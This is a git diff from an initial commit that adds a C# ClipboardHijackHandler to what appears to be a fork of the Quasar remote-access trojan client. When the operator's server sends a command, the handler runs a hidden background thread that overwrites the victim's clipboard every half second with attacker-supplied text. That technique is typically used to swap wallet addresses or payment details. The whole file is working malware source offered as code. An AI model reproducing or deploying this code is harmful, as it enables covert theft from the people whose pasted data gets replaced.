initial commit

2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
@@ -0,0 +1,54 @@
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Messages
+{
+    public class ClipboardHijackHandler : IMessageProcessor, IDisposable
+    {
+        private Thread _thread;
+        private volatile bool _running;
+        private string _replacementText;
+
+        public bool CanExecute(IMessage message) => message is DoStartClipboardHijack || message is DoStopClipboardHijack;
+        public bool CanExecuteFrom(ISender sender) => true;
+
+        public void Execute(ISender sender, IMessage message)
+        {
+            switch (message)
+            {
+                case DoStartClipboardHijack start: Start(start.ReplacementText); break;
+                case DoStopClipboardHijack _: Stop(); break;
+            }
+        }
+
+        private void Start(string replacementText)
+        {
+            Stop();
+            _replacementText = replacementText;
+            _running = true;
+            _thread = new Thread(() =>
+            {
+                while (_running)
+                {
+                    try
+                    {
+                        if (Clipboard.GetText() != _replacementText)
+                            Clipboard.SetText(_replacementText);
+                    }
+                    catch { }
+                    Thread.Sleep(500);
+                }
+            });
+            _thread.SetApartmentState(ApartmentState.STA);
+            _thread.IsBackground = true;
+            _thread.Start();
+        }
+
+        private void Stop() => _running = false;
+
+        public void Dispose() => Stop();
+    }
+}